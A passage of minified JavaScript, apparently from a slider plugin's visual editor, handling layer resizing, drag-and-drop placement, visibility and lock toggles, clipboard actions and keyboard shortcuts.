t="start";void 0!==e.container&&e.container.find(">"+e.type).each(function(){void 0!==RVS.L[e.uid]&&void 0!==RVS.L[e.uid].group.puid&&void 0!==RVS.L[this.dataset.uid].group.puid&&RVS.L[this.dataset.uid].group.puid==RVS.L[e.uid].group.puid&&RVS.L[this.dataset.uid].group.puid!=e.uid&&e.uid!==this.dataset.uid&&(t=void 0!==RVS.L[RVS.L[e.uid].group.puid]&&"group"===RVS.L[RVS.L[e.uid].group.puid].type?RVS.L[this.dataset.uid].group.groupOrder>RVS.L[e.uid].group.groupOrder&&void 0!==RVS.H[this.dataset.uid]?this.dataset.uid:t:RVS.L[this.dataset.uid].group.groupOrder<=RVS.L[e.uid].group.groupOrder&&void 0!==RVS.H[this.dataset.uid]?this.dataset.uid:t)}),"start"===t&&e.container?e.container[0].prepend(e.layer):RVS.H[t]&&RVS.F.insertAfter(e.layer,RVS.H[t].w[0])}function r(e){void 0!==e&&e.resizable({handles:"se",start:function(e,t){switch(RVS.L[RVS.selLayers[0]].type){case"text":case"button":RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0);break;default:RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_position",!0)}RVS.C.layergrid.addClass("layersInDragorResize"),RVS.F.doResizeLayers({mode:"init"}),window.lastReScalerWidth=RVS.H[RVS.selLayers[0]].w.width()},resize:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;i!==window.lastReScalerSize&&RVS.F.doResizeLayers({mode:"update",size:i}),window.lastReScalerSize=i},aspectRatio:!0,stop:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;RVS.F.doResizeLayers({mode:"set",size:i}),t.helper[0].style.width="100%",t.helper[0].style.height="100%",RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.S.justresized=!0,setTimeout(function(){RVS.S.justresized=!1},100)}})}function s(e,t,i,a,r){var s;return void 0===t||"auto"==t||"none"==t||!RVS.F.isNumeric(parseInt(t,0))||!RVS.F.isNumeric(t)&&t.indexOf("%")>0?s=t:(s=Math[e](parseInt(t,0)*i),s=void 0===a?s:s+a),s}function o(e){var t={x:e.position.x[RVS.screen].v,y:e.position.y[RVS.screen].v,padding:jQuery.extend(!0,{},e.idle.padding[RVS.screen].v),borderRadius:jQuery.extend(!0,{},e.idle.borderRadius.v),width:e.size.width[RVS.screen].v,height:e.size.height[RVS.screen].v,minHeight:e.size.minHeight[RVS.screen].v,maxHeight:e.size.maxHeight[RVS.screen].v,minWidth:e.size.minWidth[RVS.screen].v,maxWidth:e.size.maxWidth[RVS.screen].v,wrap:e.idle.whiteSpace[RVS.screen].v,boxShadow:{hoffset:e.idle.boxShadow.hoffset[RVS.screen].v,voffset:e.idle.boxShadow.voffset[RVS.screen].v,blur:e.idle.boxShadow.blur[RVS.screen].v,spread:e.idle.boxShadow.spread[RVS.screen].v}};for(var i in jQuery.inArray(e.type,["text","button"])>=0&&(t.fontSize=e.idle.fontSize[RVS.screen].v,t.letterSpacing=e.idle.letterSpacing[RVS.screen].v,t.lineHeight=e.idle.lineHeight[RVS.screen].v),t.frames={},e.timeline.frames)t.frames[i]={transform:{x:e.timeline.frames[i].transform.x[RVS.screen].v,y:e.timeline.frames[i].transform.y[RVS.screen].v},mask:{x:e.timeline.frames[i].mask.x[RVS.screen].v,y:e.timeline.frames[i].mask.y[RVS.screen].v},chars:{x:e.timeline.frames[i].chars.x[RVS.screen].v,y:e.timeline.frames[i].chars.y[RVS.screen].v},words:{x:e.timeline.frames[i].words.x[RVS.screen].v,y:e.timeline.frames[i].words.y[RVS.screen].v},lines:{x:e.timeline.frames[i].lines.x[RVS.screen].v,y:e.timeline.frames[i].lines.y[RVS.screen].v}};return t}function n(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid],a=RVS.S.slideId+".layers."+e.layerid;if(jQuery.inArray(t.type,["text","button"])>=0)for(var r in RVS.RSCBA.t)RVS.F.updateSliderObj({path:a+".idle."+RVS.RSCBA.t[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.t[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var r in RVS.RSCBA.a)RVS.F.updateSliderObj({path:a+".size."+RVS.RSCBA.a[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.a[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var o=0;o<4;o++)RVS.F.updateSliderObj({path:a+".idle.padding."+RVS.screen+".v."+o,val:s("round",i.padding[o],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});if(!0===t.idle.boxShadow.inuse)for(var r in RVS.RSCBA.sh)RVS.F.updateSliderObj({path:a+".idle.boxShadow."+RVS.RSCBA.sh[r]+"."+RVS.screen+".v",val:s("round",i.boxShadow[RVS.RSCBA.sh[r]],e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(o in RVS.L[e.layerid].timeline.frames)for(var r in RVS.RSCBA.f)RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".x."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".y."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});e.ingroup&&(RVS.F.updateSliderObj({path:a+".position.x."+RVS.screen+".v",val:s("round",i.x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".position.y."+RVS.screen+".v",val:s("round",i.y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup})),RVS.F.drawHTMLLayer({uid:e.layerid}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_style"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_advstyle"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_position"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.DOC.trigger("layerresized",{layerid:e.layerid})}function l(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid];if(RVS.cC=void 0===RVS.cC?{}:RVS.cC,jQuery.inArray(t.type,["text","button"])>=0)for(var a in RVS.RSCBA.t)t.idle[RVS.RSCBA.t[a]][RVS.screen].v=s("round",i[RVS.RSCBA.t[a]],e.size),RVS.cC["js_"+RVS.RSCBA.t[a]]=void 0===RVS.cC["js_"+RVS.RSCBA.t[a]]?document.getElementById(RVS.RSCBA.ti[a]):RVS.cC["js_"+RVS.RSCBA.t[a]],RVS.cC["js_"+RVS.RSCBA.t[a]].value=t.idle[RVS.RSCBA.t[a]][RVS.screen].v+"px";for(var a in RVS.RSCBA.a)t.size[RVS.RSCBA.a[a]][RVS.screen].v=s("width"===RVS.RSCBA.a[a]?"ceil":"round",i[RVS.RSCBA.a[a]],e.size),RVS.cC["js_"+RVS.RSCBA.a[a]]=void 0===RVS.cC["js_"+RVS.RSCBA.a[a]]?document.getElementById(RVS.RSCBA.ai[a]):RVS.cC["js_"+RVS.RSCBA.a[a]],RVS.cC["js_"+RVS.RSCBA.a[a]].value=t.size[RVS.RSCBA.a[a]][RVS.screen].v+(RVS.F.isNumeric(t.size[RVS.RSCBA.a[a]][RVS.screen].v)?"px":"");if(!0===t.idle.boxShadow.inuse)for(var a in RVS.RSCBA.sh)t.idle.boxShadow[RVS.RSCBA.sh[a]][RVS.screen].v=s("round",i.boxShadow[RVS.RSCBA.sh[a]],e.size,"px");for(var r=0;r<4;r++)t.idle.padding[RVS.screen].v[r]=s("round",i.padding[r],e.size);e.ingroup&&(t.position.x[RVS.screen].v=s("round",i.x,e.size,"px"),t.position.y[RVS.screen].v=s("round",i.y,e.size,"px")),RVS.F.drawHTMLLayer({uid:e.layerid,ignoreLayerAnimation:!0})}function d(e){RVS.H[e].w[0].className=RVS.H[e].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_after_layer").join("").split("drop_before_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer").join("")}function S(){var e=void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free";"column"===e||"group"===e?(void 0!==RVS.S.DaD.target&&(RVS.C.layergrid[0].classList.remove("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className+=" dont_blur drop_over_layer"),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className+=" dont_blur drop_over_layer","none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),void 0===RVS.S.DaD.target.elementID&&"relative"===RVS.L[RVS.S.DaD.currentLayerId].position.position&&(RVS.S.DaD.target.columnTop?RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_before_firstlayer"):RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_after_lastlayer"))),void 0!==RVS.S.DaD.target.elementID&&"absolute"!==RVS.S.DaD.draggedPosType&&(RVS.S.DaD.target.elementBefore?RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_before_layer"):RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_after_layer"))),"column"==RVS.S.DaD.target.columnType&&0==RVS.S.DaD.showInMini&&"absolute"!==RVS.S.DaD.draggedPosType&&(RVS.S.DaD.showInMini=!0,tpGS.gsap.set(RVS.S.DaD.uiHelper,{left:(RVS.S.mP.left-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(RVS.S.mP.top-RVS.S.layer_grid_offset.top)/RVS.zoom}),tpGS.gsap.to(RVS.S.DaD.uiHelper,.3,{transformOrigin:"0 0",width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,opacity:.75,scale:.6}))):"free"===e&&(RVS.S.DaD.showInMini&&1==RVS.S.DaD.showInMini&&tpGS.gsap.to(RVS.S.DaD.uiHelper,.3,{width:RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v,display:"block",scale:1}),RVS.S.DaD.showInMini=!1,void 0!==RVS.S.DaD.target&&(RVS.C.layergrid.addClass("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&-1!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className=RVS.H[RVS.S.DaD.target.rowID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className=RVS.H[RVS.S.DaD.target.columnID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer")),void 0!==RVS.S.DaD.target.elementID&&(RVS.H[RVS.S.DaD.target.elementID].w[0].className=RVS.H[RVS.S.DaD.target.elementID].w[0].className.split("drop_after_layer").join("").split("drop_before_layer").join("")),-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w.className+=" dont_blur drop_over_layer")))}function c(){for(var e in RVS.H)delete RVS.H[e].coor}function p(e){var t=jQuery(e.id);t.addClass("selected"),jQuery(e.remove).removeClass("selected"),jQuery("#toolkit_selector_ph_icon").html(t[0].dataset.toolkiticon),jQuery("#toolkit_selector_ph_icon_sub").html(t[0].dataset.toolkiticonsub),e.multi&&0===jQuery("#selectbydraw").length?jQuery("#rev_slider_ul").append('
    '):e.multi||jQuery("#selectbydraw").remove(),window.RS_sel_and_add=e.add}RVS.F.initLayerTools=function(){RVS.DOC.on("addImportedLayers",function(e,t){}),RVS.C.copyToClipboardHandle=document.getElementById("do_copy_clipboard_layer"),RVS.C.pasteFromClipboardHandle=document.getElementById("do_paste_clipboard_layer"),RVS.C.copyToClipboardHandle.addEventListener("click",RVS.F.copyToClipboardHandle_FC),RVS.C.pasteFromClipboardHandle.addEventListener("click",RVS.F.pasteFromClipboardHandle_FC),RVS.DOC.on("copyhoversettings",function(e,t){if(0!==RVS.selLayers.length&&(void 0===t||"checkiffirst"!==t||!0!==RVS.L[RVS.selLayers[0]].hover.copied)){for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]];a.hover.copied=!0,a.hover.backgroundColor=a.idle.backgroundColor,a.hover.borderColor=a.idle.borderColor,a.hover.color=a.idle.color[RVS.screen].v,a.hover.borderRadius=jQuery.extend(!0,{},a.idle.borderRadius),a.hover.borderStyle=a.idle.borderStyle[RVS.screen].v,a.hover.borderWidth=a.idle.borderWidth.map(e=>e),RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.updateEasyInputs({container:jQuery("#form_layer_hover"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})}}),RVS.DOC.on("click",".add_linebreak",function(){var e=new Array;for(var t in RVS.F.openBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&e.push(RVS.selLayers[t]);for(t in e)if(e.hasOwnProperty(t)&&-1!==RVS.L[e[t]].group.puid&&("column"===RVS.L[RVS.L[e[t]].group.puid].type||"group"===RVS.L[RVS.L[e[t]].group.puid].type)){var i=RVS.F.addLayer({type:"linebreak",forceSelect:!1,subtype:this.dataset.subtype,libevent:this.dataset.libevent,libfilters:this.dataset.libfilters});RVS.F.intelligentUpdateValuesOnLayer(i),RVS.F.sortLayer({layer:""+i,target:this.dataset.pos,env:""+e[t]})}RVS.F.closeBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"})}),RVS.DOC.on("updateRowPosition",function(e,t){if(null!=t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i))if("row"===RVS.L[RVS.selLayers[i]].type)RVS.L[RVS.selLayers[i]].group.puid!==t.val&&RVS.F.sortLayer({layer:RVS.selLayers[i],target:"zone",env:t.val});else if("column"===RVS.L[RVS.selLayers[i]].type){var a=RVS.L[RVS.selLayers[i]].group.puid;RVS.L[a].group.puid!==t.val&&RVS.F.sortLayer({layer:a,target:"zone",env:t.val})}}),RVS.DOC.on("click","#import_layers",function(){return RVS.F.openObjectLibrary({types:["modules"],filter:"all",selected:["modules"],context:"editor",depth:"layers",updatelist:!1,staticalso:!0,success:{layers:"addImportedLayers"}}),!1}),RVS.DOC.on("click","#add_from_layerlibrary",function(){return RVS.F.openObjectLibrary({types:["layers"],filter:"all",selected:["layers"],context:"editor",depth:"grouplayers",success:{layers:"addLayerLibrary"}}),!1}),RVS.DOC.on("click",".colselector",function(){jQuery("#row_column_structure").val(this.dataset.col).change()}),RVS.DOC.on("click","._group_lock_toggle_",function(){RVS.L[this.dataset.uid].group.locked=void 0===RVS.L[this.dataset.uid].group.locked||!RVS.L[this.dataset.uid].group.locked,RVS.F.updateGroupLocks()}),RVS.DOC.on("update blur change","#row_column_structure",function(){if(void 0!==this.value&&""!=this.value){var e=this.value=RVS.F.figureColumnSizes({plain:this.value}).plain;jQuery("#colselector_wrap .colselector").each(function(){e==RVS.F.sanitize_columns(this.dataset.col)?this.className="colselector selected":this.className="colselector"})}}),RVS.DOC.on("addMetaToLayer",function(e,t){window.metatarget=t.eventparam,RVS.F.RSDialog.create({modalid:"rbm_layer_metas",bgopacity:.5}),jQuery("#rbm_layer_metas .rbm_content").RSScroll({wheelPropagation:!1,suppressScrollX:!0})}),RVS.DOC.on("click",".mdl_group_header",function(){var e=jQuery(this).closest(".mdl_group");e.toggleClass("closed")}),RVS.DOC.on("click","#rbm_layer_metas .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".mdl_group_member",function(){if("layer"===window.metatarget){var e=jQuery("#ta_layertext")[0].selectionStart;for(var t in RVS.F.openBackupGroup({id:"insertMeta",txt:"Insert Meta Data",icon:"note_add"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.S.slideId+".layers."+i+".text",r=RVS.L[i].text.substring(0,e),s=RVS.L[i].text.substring(e,RVS.L[i].text.length);RVS.F.updateSliderObj({path:a,val:r+this.dataset.val+s}),RVS.F.redrawTextLayerInnerHTML(i),RVS.F.drawHTMLLayer({uid:i})}RVS.F.closeBackupGroup({id:"insertMeta"}),RVS.F.updateLayerInputFields()}else{var o=jQuery(window.metatarget),e=o[0].selectionStart,n=o.val().substring(0,e)+this.dataset.val+o.val().substring(e,o.val().length);o.val(n).change(),RVS.F.RSDialog.close()}}),RVS.DOC.on("checkforaudiolayer",RVS.F.checkForAudioLayer),RVS.DOC.on("click",".add_layer",function(e,t){if("import_layers"!==this.id&&"add_from_layerlibrary"!==this.id){var i={type:this.dataset.type,forceSelect:!0,subtype:this.dataset.subtype,evt:this.dataset.evt,libevent:this.dataset.libevent,filter:this.dataset.filter,selected:this.dataset.selected,libfilters:this.dataset.libfilters,extensiongroup:this.dataset.extensiongroup,subsubtype:this.dataset.subsubtype};if(void 0!==this.dataset.fromobjlib){var a=null==i.libfilters?["all"]:i.libfilters.split(",");i.filter="undefined"==i.filter||null==i.filter?"all":i.filter,i.selected=["undefined"==i.selected||null==i.selected?a[0]:i.selected],i.success={custom:null==i.libevent?i.success:i.libevent},i.extension=i.extensiongroup,i.types=a,RVS.F.openObjectLibrary(i)}else{var r=RVS.F.addLayer(i);RVS.F.intelligentUpdateValuesOnLayer(r),RVS.F.selectLayers({id:r,overwrite:!0,action:"add"})}}}),RVS.DOC.on("click","#do_delete_layer",function(e){RVS.DOC.trigger("do_delete_layer")}),RVS.DOC.on("click",".all_layer_selector",function(){return RVS.DOC.trigger("do_select_all_layer"),!1}),RVS.DOC.on("click","#do_duplicate_layer",function(){RVS.DOC.trigger("do_duplicate_layer")}),RVS.DOC.on("click","#do_copy_layer",function(){RVS.DOC.trigger("do_copy_layer")}),RVS.DOC.on("click","#do_paste_layer",function(){RVS.DOC.trigger("do_paste_layer")}),RVS.DOC.on("mouseenter","#do_background_layer, #do_foreground_layer",function(){var e=RVS.selLayers[0];void 0!==RVS.H[e]&&tpGS.gsap.set(RVS.H[e].w,{zIndex:RVS.L[e].position.zIndex})}),RVS.DOC.on("mouseleave","#do_background_layer, #do_foreground_layer",function(){RVS.F.updateSelectedHtmlLayers()}),RVS.DOC.on("click","#do_background_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerAfterZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):"top"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zone",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zone",env:"bottom",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"next"))!==e&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):void 0!==t&&(t="top"===t||"middle"===t?"bottom":t,RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}))}}),RVS.DOC.on("click","#do_foreground_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerBeforeZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):"bottom"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zonebottom",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zonebottom",env:"top",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"prev"))!==e&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):void 0!==t&&(t="bottom"===t||"middle"===t?"top":t,RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}))}}),RVS.F.clearKeyDowns=function(){window.cmdctrldown=!1,window.shiftdown=!1,window.altdown=!1},window.addEventListener("blur",RVS.F.clearKeyDowns),window.addEventListener("focus",RVS.F.clearKeyDowns),RVS.DOC.on("keydown",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey;var t=!1,i=window.shiftdown?10:1;if(("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)&&(window.cmdctrldown=!0),RVS.S.builderHover&&("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)){if(!window.shiftdown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("squareselection"),!window.cmdctrldown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("cursorselectionadd"),window.shiftdown&&window.altdown)switch(e.keyCode){case 67:RVS.F.copyToClipboardHandle_FC();break;case 86:RVS.F.pasteFromClipboardHandle_FC()}if("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)switch(e.keyCode){case 65:return RVS.DOC.trigger("do_select_all_layer"),!1;case 67:window.shiftdown||RVS.DOC.trigger("do_copy_layer");break;case 86:window.shiftdown||RVS.DOC.trigger("do_paste_layer");break;case 74:!0!==window.altdown&&RVS.DOC.trigger("do_duplicate_layer");break;case 79:var a=document.getElementById("magnet_fr_sticky_inh");a.checked=!0,t=!0;break;case 73:var a=document.getElementById("magnet_fr_sticky");a.checked=!0,t=!0;break;case 85:var a=document.getElementById("magnet_fr_none");a.checked=!0,t=!0}switch(e.keyCode){case 8:case 46:return RVS.DOC.trigger("do_delete_layer"),!1;case 37:return RVS.F.moveLayerByKeys({x:-1*i,y:0}),!1;case 39:return RVS.F.moveLayerByKeys({x:1*i,y:0}),!1;case 38:return RVS.F.moveLayerByKeys({x:0,y:-1*i}),!1;case 40:return RVS.F.moveLayerByKeys({x:0,y:1*i}),!1}}if(t)return e.preventDefault(),!1}),RVS.DOC.on("keyup",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey,window.cmdctrldown="MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey,window.shiftdown||window.cmdctrldown||RVS.DOC.trigger("cursorselection"),window.moveByKeyboard&&(RVS.F.closeBackupGroup({id:"LayerPosition"}),window.moveByKeyboard=!1)}),RVS.DOC.on("click",".ui_free_layers, .ui_top_row_layers",function(){var e=jQuery(this);e.toggleClass("selected"),e.hasClass("selected")?(jQuery("#rev_builder_inner").removeClass(this.dataset.realref),jQuery("#timeline").removeClass(this.dataset.ref)):(jQuery("#rev_builder_inner").addClass(this.dataset.realref),jQuery("#timeline").addClass(this.dataset.ref))}),RVS.DOC.on("click dblclick","._lc_",function(e){if(void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&RVS.S.inFocus.history&&RVS.S.inFocus.value&&RVS.S.inFocus.history!=RVS.S.inFocus.value&&jQuery(RVS.S.inFocus).trigger("change"),"click"===e.type&&RVS.S.clickedLayer===this.dataset.uid&&void 0!==RVS.S.clickOnLayerTimer&&e.timeStamp-RVS.S.clickOnLayerTimer<800)return!1;if(RVS.S.clickOnLayerTimer=e.timeStamp,RVS.S.clickedLayer=this.dataset.uid,RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add&&!window.cmdctrldown,action:"add",ignoreUpdate:!1}),-1!==RVS.L[this.dataset.uid].group.puid&&"row"!==RVS.L[this.dataset.uid].type){var t=RVS.L[this.dataset.uid].group.puid;jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+t).removeClass("collapsed"),-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type&&jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).removeClass("collapsed"),RVS.F.saveCollapsedGroups()}if("dblclick"===e.type)switch(RVS.F.openSettings({forms:["*slidelayout**mode__slidecontent*#form_layer_content"],uncollapse:!0}),RVS.L[this.dataset.uid].type){case"text":case"button":jQuery("#ta_layertext").trigger("focus");break;case"image":"objectlibrary"===RVS.L[this.dataset.uid].media.imageLib?jQuery("#image_layer_object_library_button").trigger("click"):jQuery("#image_layer_media_library_button").trigger("click");break;case"shape":""!==RVS.L[this.dataset.uid].idle.backgroundImage&&("objectlibrary"===RVS.L[this.dataset.uid].idle.bgimagelib?jQuery("#shape_layer_object_library_button").trigger("click"):jQuery("#shape_layer_media_library_button").trigger("click"));break;case"svg":RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["svgs"],success:{icon:"insertContentFromOL"}})}return 1===RVS.selLayers.length&&RVS.F.layerListScrollable("scrollToSelected"),RVS.DOC.trigger("layerselectioncomplete",[this]),!1}),RVS.DOC.on("dblclick","._lc_",function(){return RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add,action:"add",ignoreUpdate:!1}),!1}),RVS.DOC.on("mouseenter",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.removeClass("hoveredinlist")}),RVS.DOC.on("click","#unlock_all_layer",function(){for(var e in RVS.L)if(void 0!==RVS.L[e].visibility&&RVS.L[e].visibility.locked){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.locked",val:!1}),RVS.H[e].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _locked_","")}RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".unlock_single_layerm",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid,val:!1}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".layer_current_locked",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click","#visible_all_layer",function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.visible",val:!0}),RVS.H[e].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _unvisible_","")}RVS.F.checkShowHideLayers()}),RVS.DOC.on("click","#toggle_lock_layer",function(){RVS.F.lockUnlockLayers()}),RVS.DOC.on("click","#toggle_visible_layer",function(){RVS.F.showHideLayers({uid:this.dataset.uid})}),RVS.DOC.on("click","#hide_highlight_boxes",function(){jQuery(this).toggleClass("selected"),RVS.C.theEditor.toggleClass("nohiglightboxes")}),RVS.DOC.on("click",".visible_single_layer",function(){return RVS.F.showHideLayer({uid:this.dataset.uid,val:!0}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("click"," .layer_current_visibility",function(){return RVS.F.showHideLayer({uid:this.dataset.uid}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("mouseenter",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mouseenter",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mousedown","#selectbydraw",function(e){RVS.WIN.scrollTop(0);var t=jQuery("#selectbydraw");t.append('
    '),RVS.F.updateContentDeltas(),RVS.S.click.y=e.clientY+RVS.S.rb_ScrollY,RVS.S.click.x=e.clientX+RVS.S.rb_ScrollX,window.scrollCacheY=RVS.S.rb_ScrollY,window.scrollCacheX=RVS.S.rb_ScrollX,window.selectbydraw=1,RVS.F.selectLayers({overwrite:!0})}),RVS.DOC.on("mouseup","#selectbydraw",function(e){jQuery("#selectbydraw").remove(),jQuery("#select_by_cursor").trigger("click"),RVS.F.selectLayers({}),window.selectbydraw=0}),RVS.DOC.on("mousemove","#selectbydraw",function(e){if(1===window.selectbydraw){var t=jQuery("#selectbydraw");RVS.S.DaD.dragdelta.x=e.clientX+RVS.S.rb_ScrollX-RVS.S.click.x,RVS.S.DaD.dragdelta.y=e.clientY+RVS.S.rb_ScrollY-RVS.S.click.y;var i={x:RVS.S.click.x,y:RVS.S.click.y};i.x=RVS.S.DaD.dragdelta.x<0?i.x+RVS.S.DaD.dragdelta.x:i.x,i.y=RVS.S.DaD.dragdelta.y<0?i.y+RVS.S.DaD.dragdelta.y:i.y;var 